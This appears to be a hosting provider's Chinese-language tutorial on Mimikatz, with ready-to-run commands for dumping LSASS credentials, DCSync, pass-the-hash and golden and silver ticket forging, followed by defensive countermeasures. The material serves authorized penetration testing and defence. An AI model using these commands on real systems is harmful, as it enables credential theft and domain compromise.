所有托管服务节省 15%

测试技能,享折扣

使用代码: Skills 开始使用
China
管理

如何安装和使用Mimikatz:安全专业人员完整指南

Mimikatz 是网络安全领域最著名和讨论最广泛的工具之一。最初作为概念验证开发,用于演示 Windows 身份验证中的漏洞,它已成为渗透测试人员、红队和安全研究人员工具包中的重要工具。本指南提供了关于 Mimikatz 是什么、谁使用它以及如何在受控环境中负责任地安装和操作它的全面演练。

> 法律免责声明:Mimikatz 只能用于您拥有或获得明确书面授权进行测试的系统。未经授权的使用是违法的,可能导致严重的刑事处罚。本指南仅供教育目的和合法安全测试之用。

Mimikatz 是什么?

Mimikatz 是由法国安全研究员 Benjamin Delpy 创建的开源 Windows 安全工具。其主要功能是直接从 Windows 系统内存(特别是从 LSASS 进程)中提取身份验证凭据——包括明文密码、NTLM 密码哈希、PIN 码和 Kerberos 票证。

由于 Windows 历来在内存中缓存凭据以支持跨服务的无缝身份验证,Mimikatz 能够暴露操作系统处理敏感身份验证数据方式中的根本设计缺陷。Microsoft 已推出了 Credential Guard 和 Protected Users 安全组等缓解措施,但 Mimikatz 继续随着这些防御措施而发展,使其成为了解当前威胁形势的宝贵参考工具。

Mimikatz 的关键功能

  • 从 Windows 内存 (LSASS) 中提取明文密码
  • 从 SAM 数据库和 Active Directory 中转储 NTLM 哈希
  • Kerberos 票证提取和操纵(Golden Ticket、Silver Ticket 攻击)
  • Pass-the-Hash (PtH) 使用捕获的哈希进行身份验证
  • Pass-the-Ticket (PtT) 使用被盗的 Kerberos 票证进行攻击
  • DCSync 攻击在无需直接访问的情况下复制域控制器数据

谁使用Mimikatz以及为什么?

合法的安全用例

Mimikatz主要被信息安全专业人员在以下情况下使用:

  • 渗透测试 — 模拟真实的凭证盗窃攻击,以评估组织在对手获得初始访问权限后的防御能力。
  • 红队操作 — 模拟高级持久威胁(APT)技术,以测试蓝队和SOC分析师的检测和响应能力。
  • 安全审计 — 评估密码和Kerberos票证是否按照安全最佳实践进行存储和保护。
  • 培训和意识提升 — 向系统管理员和工程师演示基于凭证的攻击在实践中的具体工作方式,使抽象的威胁变得具体和可操作。
  • 漏洞研究 — 在恶意行为者利用之前,识别Windows身份验证机制中的新弱点。

恶意滥用

不幸的是,Mimikatz也是威胁行为者的最爱工具,因为它的有效性。常见的恶意用例包括:

  • Pass-the-Hash攻击 — 使用捕获的NTLM哈希对系统进行身份验证,而无需知道原始明文密码。
  • Pass-the-Ticket攻击 — 使用被盗的Kerberos票证在网络中冒充合法用户。
  • 后期开发持久化 — 在初始入侵后收集凭证,以在网络中横向移动并提升权限。
  • Golden Ticket攻击 — 伪造Kerberos票证授予票证(TGTs),以获得对域资源的持久、几乎无限的访问权限。

理解攻击者如何使用Mimikatz正是防御者需要熟悉它的原因。如果您运行VPS Hosting环境或管理专用基础设施,了解这些攻击向量将帮助您构建更具弹性的防御。

先决条件

在继续之前,请确保在您的授权测试环境中满足以下条件:

要求详情
操作系统Windows 7 / Windows 10 / Windows 11 / Windows Server 2008–2022
权限大多数模块需要本地管理员或SYSTEM级别的访问权限
防病毒状态临时禁用或为测试目录配置排除项
环境隔离的实验室环境或虚拟机 — 绝不在生产系统上
授权必须获得系统所有者的书面许可

> 最佳实践:始终在隔离的虚拟机或专用实验室服务器内执行Mimikatz测试。如果您需要一个安全的隔离环境来进行渗透测试实验,请考虑部署一个VPS Hosting实例,使用Windows镜像,以将您的测试完全与生产基础设施分开。

第1步:下载Mimikatz

1.1 访问官方GitHub存储库

Mimikatz作为开源项目进行维护。始终从官方源下载,以避免被篡改或木马化的版本:

官方存储库: https://github.com/gentilkiwi/mimikatz

1.2 下载最新版本

  1. 导航到存储库的Releases部分(右侧边栏或通过/releasesURL路径)。
  2. 找到最新的稳定版本。
  3. 下载预编译的存档 — 通常命名为mimikatz_trunk.zip

1.3 解压存档

  1. 右键单击下载的ZIP文件。
  2. 选择全部提取…
  3. 选择目标目录,例如:C:SecurityToolsMimikatz

解压后,您将找到两个子目录:

  • x64 — 64位二进制文件(在现代系统上使用)
  • Win32 — 32位二进制文件(用于旧系统)

您将使用的主要可执行文件是mimikatz.exe

第2步:运行Mimikatz

2.1 打开提升的命令提示符

Mimikatz需要管理员权限来与受保护的内存区域交互。要启动提升的shell:

  1. Windows + X
  2. 选择命令提示符 (管理员)Windows PowerShell (管理员)
  3. 在UAC提示上点击

2.2 导航到Mimikatz目录

cd C:SecurityToolsMimikatzx64

验证mimikatz.exe存在于此目录中:

dir mimikatz.exe

2.3 启动Mimikatz

mimikatz.exe

如果工具成功启动,您将看到Mimikatz横幅和交互式提示:

  .#####.   mimikatz 2.2.0 (x64) ...
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## /  ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ##  / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'         > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #
mimikatz #提示确认工具正在运行并准备好接受命令。
2.4 启用调试权限
在运行大多数凭证提取命令之前,在会话中提升Mimikatz自身的权限:
mimikatz # privilege::debug
预期输出:
Privilege '20' OK
这授予MimikatzSeDebugPrivilege权限,这是读取受保护进程(如LSASS)内存所必需的。
第3步:核心Mimikatz命令
3.1 从内存中提取明文密码
这是最著名的Mimikatz功能。它直接从LSASS内存中读取由WDigest身份验证提供程序缓存的凭据:
mimikatz # sekurlsa::logonpasswords
返回内容:

已登录的用户名
域名
明文密码(如果启用了WDigest缓存)
NTLM哈希
SHA1哈希
Kerberos凭据

> 注意:在Windows 8.1及更高版本上,Microsoft默认禁用了WDigest明文缓存。但是,攻击者(和测试人员)可以通过注册表项重新启用它,这就是为什么这仍然是一个相关的测试用例。
3.2 显示存储的密码(替代命令)
mimikatz # sekurlsa::passwords
此命令提供了系统内存中可用凭据的简化视图。
3.3 从内存转储文件中提取凭据
如果无法直接在目标系统上运行Mimikatz,可以先捕获LSASS内存转储并离线分析:
使用任务管理器创建转储:

打开任务管理器 → 详细信息选项卡
右键单击lsass.exe → 创建转储文件

或使用ProcDump(来自Sysinternals):
procdump.exe -accepteula -ma lsass.exe lsass.dmp
使用Mimikatz分析转储:
mimikatz # sekurlsa::minidump C:PathTolsass.dmp
mimikatz # sekurlsa::logonpasswords
3.4 列出Kerberos票证
要枚举当前登录会话中存在的所有Kerberos票证:
mimikatz # kerberos::list
要列出包含完整详细信息(包括会话密钥)的票证:
mimikatz # kerberos::list /export
这会将每个票证导出为.kirbi文件,可用于Pass-the-Ticket攻击。
3.5 将凭据导出到文件
要将凭据转储的输出保存到文本文件以供后续分析:
mimikatz # sekurlsa::logonpasswords > C:SecurityToolscredentials.txt
输出将写入指定路径中的credentials.txt。
第 4 步:高级 Mimikatz 技术
4.1 Pass-the-Hash (PtH) 攻击
Pass-the-Hash 允许使用捕获的 NTLM 哈希对远程系统进行身份验证,无需明文密码:
mimikatz # sekurlsa::pth /user:Administrator /domain:TARGETDOMAIN /ntlm:<NTLM_HASH> /run:cmd.exe
这会生成一个新的 cmd.exe 进程,使用哈希作为指定用户进行身份验证。
4.2 Golden Ticket 攻击
Golden Ticket 是一个伪造的 Kerberos TGT,使用 KRBTGT 账户的密码哈希签名,授予持有者对域资源的近乎无限的访问权限。这需要 KRBTGT 哈希,可以通过 DCSync 获取:
步骤 1 — DCSync 提取 KRBTGT 哈希:
mimikatz # lsadump::dcsync /domain:target.local /user:krbtgt
步骤 2 — 创建 Golden Ticket:
mimikatz # kerberos::golden /user:Administrator /domain:target.local /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /ticket:golden.kirbi
步骤 3 — 注入票证:
mimikatz # kerberos::ptt golden.kirbi
4.3 从 SAM 数据库转储 NTLM 哈希
从 SAM 数据库提取本地账户哈希(需要 SYSTEM 权限):
mimikatz # lsadump::sam
4.4 从 LSA 转储密钥
mimikatz # lsadump::secrets
这会检索 LSA 密钥,其中可能包括服务账户凭证、缓存的域凭证以及本地安全机构存储的其他敏感数据。
4.5 Silver Ticket 攻击
Silver Ticket 针对特定服务而不是整个域。它需要目标服务账户的 NTLM 哈希:
mimikatz # kerberos::golden /user:Administrator /domain:target.local /sid:<DOMAIN_SID> /target:<SERVICE_HOST> /service:cifs /rc4:<SERVICE_ACCOUNT_HASH> /ticket:silver.kirbi
第5步:防御对策
理解Mimikatz的工作原理只是等式的一半。另一半是知道如何防御它。如果你管理Windows服务器——无论是在专用服务器还是基于云的基础设施上——以下缓解措施至关重要:
5.1 启用凭据保护
Windows凭据保护使用基于虚拟化的安全(VBS)将LSASS隔离在受保护的容器中,防止Mimikatz直接从内存读取凭据。
通过组策略启用:
Computer Configuration → Administrative Templates → System → Device Guard → Turn On Virtualization Based Security

5.2 禁用WDigest身份验证

通过禁用WDigest来防止明文密码缓存:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest
UseLogonCredential = 0

5.3 将用户添加到受保护用户组

受保护用户安全组的成员无法使用NTLM、DES或RC4 Kerberos加密进行身份验证,大大限制了凭据盗取攻击的有效性。

5.4 实施LSA保护(RunAsPPL)

为LSASS启用受保护进程轻量级(PPL)以防止未授权的内存访问:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa
RunAsPPL = 1

5.5 监控Mimikatz指标

配置你的SIEM或EDR解决方案以警报:

  • 来自意外进程对lsass.exe内存的访问
  • SeDebugPrivilege被授予非系统进程
  • 进程日志中可疑的sekurlsakerberoslsadump命令模式
  • 异常LSASS转储文件创建事件(事件ID 4656、4663)

5.6 保持系统补丁更新

许多Mimikatz技术利用已知漏洞或遗留行为。保持Windows和Active Directory完全补丁更新可以消除整类攻击向量。

Mimikatz 在安全托管基础设施中的应用

对于运行Web应用程序、API或内部服务的组织,凭证盗窃的风险不仅限于本地工作站。如果攻击者获得对服务器环境的访问权限,Mimikatz等工具可被用于提升权限和横向移动。

选择在基础设施级别优先考虑安全性的托管提供商是重要的防御层。无论您需要共享Web托管用于较小的项目,还是需要专用服务器用于企业工作负载,确保您的托管环境包括DDoS防护、网络隔离和定期安全更新可以减少整体攻击面。

对于管理Active Directory环境或基于Windows的应用程序的团队,将您的基础设施与正确配置的SSL证书配对,可确保客户端和服务器之间传输的凭证在传输过程中被加密——增加了针对拦截的另一层保护。

摘要:Mimikatz 命令参考

命令用途
privilege::debug启用 SeDebugPrivilege
sekurlsa::logonpasswords从 LSASS 转储所有登录凭据
sekurlsa::passwords显示内存中的缓存密码
sekurlsa::minidump <file>加载并分析 LSASS 转储文件
kerberos::list列出当前会话中的 Kerberos 票证
kerberos::list /export将 Kerberos 票证导出为 .kirbi 文件
kerberos::ptt <ticket>注入 Kerberos 票证(Pass-the-Ticket)
kerberos::golden创建黄金票证
lsadump::sam从 SAM 数据库转储 NTLM 哈希
lsadump::secrets提取 LSA 密钥
lsadump::dcsync通过 DCSync 复制域凭据
sekurlsa::pth执行 Pass-the-Hash 攻击

结论

Mimikatz 仍然是网络安全专业人员可用的最强大和最具教育意义的工具之一。它暴露 Windows 身份验证机制中基本弱点的能力推动了 Microsoft 在凭证保护设计方面的重大改进——从 Credential Guard 到 Protected Users 再到 LSA PPL。对于渗透测试人员、红队和安全研究人员来说,深入理解 Mimikatz 不是可选的,而是必不可少的。

始终牢记的关键原则:

  • 始终获得明确的书面授权,然后再在任何系统上使用 Mimikatz。
  • 使用隔离环境——虚拟机或专用实验室服务器——以避免意外泄露。
  • 深入理解防御,就像理解攻击一样深入。
  • 保持最新——Mimikatz 和 Windows 防御都在不断演变。

通过将 Mimikatz 等工具的实际操作知识与安全、配置良好的托管基础设施相结合,安全团队可以构建真正针对现实世界攻击技术进行测试的防御,而不是基于理论假设。

*AlexHost 提供安全、高性能的托管解决方案,专为安全意识强的专业人士设计。探索我们的 VPS 托管计划和 专用服务器来构建您的下一个安全实验室或生产环境。*